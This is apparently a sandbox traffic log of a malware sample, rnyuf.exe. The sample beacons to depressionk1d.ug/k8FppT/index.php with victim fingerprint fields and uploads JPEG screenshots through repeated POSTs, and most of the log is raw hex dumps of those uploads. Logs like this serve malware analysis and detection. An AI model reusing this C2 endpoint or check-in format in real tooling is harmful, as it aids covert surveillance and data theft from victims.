Nov 12, 2021 22:23:30.733845949 CET	4064	OUT	Data Raw: e2 bd cc fc 1a f0 77 fc fa dd 7f e0 4b 57 8c fc 39 ff 00 92 85 a2 7f d7 c7 f4 35 f4 9d ce aa d0 df bd 9c 3a 75 dd dc 89 12 4a e6 13 18 0a 18 b0 1f 7d d7 9f 91 ba 57 9f 8a 73 f6 96 8b e9 dc ef c3 28 72 5e 4b af 63 90 ff 00 85 35 e0 ef f9 f6 ba ff Data Ascii: wKW95:uJ}Ws(r^Kc5w*\$c1P+-Vh,]pGyMsf_'3}}U+(,+}wc~4Vd8^]f{tp(;
Nov 12, 2021 22:23:30.781750917 CET	4118	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.4	50188	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:35.863840103 CET	17223	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.4	50189	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:36.249696016 CET	17224	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----aa227d1941f848e55ff8e80a839e1f4c Host: depressionk1d.ug Content-Length: 106956 Cache-Control: no-cache
Nov 12, 2021 22:24:36.249784946 CET	17224	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 61 61 32 32 37 64 31 39 34 31 66 38 34 38 65 35 35 66 66 38 65 38 30 61 38 33 39 65 31 66 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------aa227d1941f848e55ff8e80a839e1f4cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:36.249995947 CET	17234	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:36.250128031 CET	17237	OUT	Data Raw: 44 df f3 ca 4f fb e4 d1 e4 4d ff 00 3c a4 ff 00 be 4d 74 5f 6b b9 ff 00 9f 89 7f ef b3 4b f6 bb 9c 7f c7 c4 bf f7 d9 a9 1d ce 73 c8 9b fe 79 49 ff 00 7c 9a 6b 46 e9 8d e8 cb 9e 99 18 ae 93 ed 77 3f f3 f1 2f fd f6 6a 8e b8 cd 22 59 33 b1 66 31 b6 Data Ascii: DOM<Mt_kKsyI\|kFw?/j"Y3f1I9?x=Q@PREQHhh)hI#;WJ? :FLPS[TTGO$y+\Tuw((Z()iqF((%Sb-(-EE-R1@
Nov 12, 2021 22:24:36.272340059 CET	17240	OUT	Data Raw: 6b 9b bd 2b 42 bd c9 b9 b2 bb 73 1b 75 ca 08 65 04 13 ec 48 1f 4f a5 79 b7 c6 ef f9 28 f2 ff 00 d7 ac 5f ca bd 47 c2 fe 01 d5 b4 5f 11 da 6a 37 57 16 6f 14 3b f7 08 dd cb 72 85 46 32 a3 d4 77 af 2e f8 db ff 00 25 1e 6f fa f6 8b f9 57 91 8a 74 9e Data Ascii: k+BsueHOy(_G_j7Wo;rF2w.%oWt!:NaXjdy-IQEzOO\~ A<\H+><Ew=5kg=k*^UHTuTtvs <?iV9odc$c'qn</
Nov 12, 2021 22:24:36.272387981 CET	17242	OUT	Data Raw: 2c ac b7 93 21 52 c5 d9 33 80 41 c0 0a 4e 4e 40 af 02 ab 0d 65 76 b2 4f 1b 5a 4e 1e dd 77 cc a6 33 98 97 20 65 86 38 19 23 93 ea 2a 29 21 96 21 19 96 27 41 2a 6f 8c b2 91 bd 72 46 47 a8 c8 23 3e c6 b6 a3 45 53 6d de ed ff 00 5f e6 61 8a c5 fb 68 Data Ascii: ,!R3ANN@evOZNw3 e8#)!!'AorFG#>ESm_ahFaz_Ch (EPIKIH(G4Q0J^i(E- JJ(O[I?ZN<E{Ci k'RVL,8-q;oi{4 e`w}c
Nov 12, 2021 22:24:36.272433996 CET	17245	OUT	Data Raw: c0 ee 0a e5 1b a1 e3 e6 52 39 f4 aa d4 8b 1a a7 4a 75 6f 1b db 53 19 5a fa 09 45 1d a8 a6 20 a2 8a 28 00 a4 a5 a4 a0 61 4a 28 e6 8a 00 28 e6 8a 31 40 82 8a 28 a0 02 8a 28 e6 80 0a 28 ef 45 00 38 52 d2 52 d3 11 bb 69 ff 00 20 7b 7f fa e9 27 fe cb Data Ascii: R9JuoSZE (aJ((1@(((E8RRi {'[+yer b>d1{uGoMJ+(V([6`\E6EE+huK]P.=8pk$sl8j=>Fu_6;5t,E'1C].?'
Nov 12, 2021 22:24:36.272458076 CET	17248	OUT	Data Raw: 0a 70 a6 9a 70 eb 40 05 14 51 4c 91 69 69 29 69 80 51 45 2d 02 0a 5a 4a 05 31 0f 14 e0 6a 31 4e aa b8 99 26 69 c0 d4 40 d3 85 52 64 b4 48 0d 2e 01 a6 66 97 35 57 44 8a 63 06 9a 61 cd 38 35 3c 3d 3b 21 5d a2 b3 43 8a 61 8c 8a b8 48 34 98 06 a5 c1 Data Ascii: pp@QLii)iQE-ZJ1j1N&i@RdH.f5WDca85<=;!]CaH4x"U4Oe{DVELa"+CLf)@q.1Kb+Z)hR\RS.)qN;P(\f(?hG1Rmm;F);TiqSqRIqKLR\
Nov 12, 2021 22:24:36.272511959 CET	17256	OUT	Data Raw: f6 85 c6 7d 3c c7 c7 e9 8a f0 b2 0d 7d 23 f1 7e da 1b 2f 86 02 d6 04 d9 0c 53 c2 88 be 80 66 be 72 35 85 39 2a 8e 53 5d 5b 67 4c a2 e9 c6 30 7d 12 44 78 22 96 9d 4b 8c d6 96 22 e3 45 14 ed a2 8d 94 ec c2 e3 68 a5 d9 46 d3 e9 40 09 41 a4 20 83 45 Data Ascii: }<}#~/Sfr59*S][gL0}Dx"K"EhF@A E (Q@Q@(4bF(QKE0-PEP ZQIE1EP(hJ:S-1(!ii1J))h-SRhAK@u1/zLSZJZb)iQE.)QEZpTHPiL
Nov 12, 2021 22:24:36.272528887 CET	17257	OUT	Data Raw: 46 da 9b 6d 1b 73 47 28 73 10 e2 97 15 2f 97 46 ca 5c a1 cc 88 88 a5 c5 49 b6 8d b4 f9 58 73 11 e2 8d a0 f6 a9 31 46 da 5c a1 cc 44 62 43 fc 34 c3 6e 87 d4 55 8d b4 62 8e 44 35 36 8a bf 66 f4 34 df b3 b8 e9 57 36 9a 50 29 7b 34 c6 aa 32 87 96 c3 Data Ascii: FmsG(s/F\IXs1F\DbC4nUbD56f4W6P){424)A?J^Rj}Ol~SM$>t''>Y4S2XRZXuPQKHN)qLLZZ@)UR@Sbu%-Q"LE- T&-:KT)E4SXNHKIE2G
Nov 12, 2021 22:24:36.272589922 CET	17263	OUT	Data Raw: 11 46 40 3c 93 c0 e0 11 f8 d7 7d 0f 8b ac 2e 6d bc 45 78 f7 70 89 f4 fb 99 5e c3 f7 83 e7 1e 57 96 bb 7d 41 20 9e 3d 45 67 56 a5 58 ca d1 db fc f4 fc ce aa 70 83 8d d9 43 c0 f6 9a 72 78 76 e6 1b 8b 1b bd 4a 38 b5 29 d2 29 2d e3 3d 02 44 32 40 6e Data Ascii: F@<}.mExp^W}A =EgVXpCrxvJ8))-=D2@n3]tOu]s^E^3"7n=um6/;Y~Q(we6mhVvI_0W7MZ"~OJ`WNfr7C-4RiiSA2EN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.4	50195	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:40.021142006 CET	17346	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.4	50199	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:40.577797890 CET	17352	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:40.578102112 CET	17353	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:40.578550100 CET	17363	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:40.578799009 CET	17365	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:40.601540089 CET	17368	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:40.601605892 CET	17371	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:40.601636887 CET	17376	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:40.601665974 CET	17379	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:24:40.601696014 CET	17386	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:40.601754904 CET	17391	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:24:40.625559092 CET	17394	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.4	50214	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:44.168960094 CET	17496	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.4	50215	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:45.398073912 CET	17498	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:45.398185968 CET	17498	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:45.398377895 CET	17508	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:45.398524046 CET	17511	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:45.420866013 CET	17517	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:45.420909882 CET	17525	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:45.420928001 CET	17530	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:45.420942068 CET	17534	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:45.423630953 CET	17537	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:24:45.443609953 CET	17543	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:24:45.443736076 CET	17567	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.4	50216	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:48.314733982 CET	17609	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.4	50217	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:48.757170916 CET	17609	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72f5cde377fbc84156c9f93b3b5c40e7 Host: depressionk1d.ug Content-Length: 106960 Cache-Control: no-cache
Nov 12, 2021 22:24:48.757460117 CET	17609	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 66 35 63 64 65 33 37 37 66 62 63 38 34 31 35 36 63 39 66 39 33 62 33 62 35 63 34 30 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72f5cde377fbc84156c9f93b3b5c40e7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:48.757731915 CET	17619	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:48.757891893 CET	17622	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:48.781491041 CET	17641	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:48.781783104 CET	17648	OUT	Data Raw: 96 2d 28 a4 02 9d 54 26 14 52 e2 80 29 92 00 53 80 a0 0a 5c 53 13 16 96 90 0a 70 15 44 80 14 a0 50 05 3b 14 c4 d8 82 9d 49 4b 54 48 b4 ea 68 a7 53 24 51 4b 48 05 38 55 09 8b 4e a6 d2 d5 22 47 8a 51 4d 14 ea 68 96 2d 28 a6 d3 a9 92 38 52 d2 51 4c Data Ascii: -(T&R)S\SpDP;IKTHhS$QKH8UN"GQMh-(8RQL(x4PhNfdQ$F;>hxjx4h58z baFosRK&D>C5q^}SS;mZ_hm*^>=MdFIPEk5Hs;RV\|
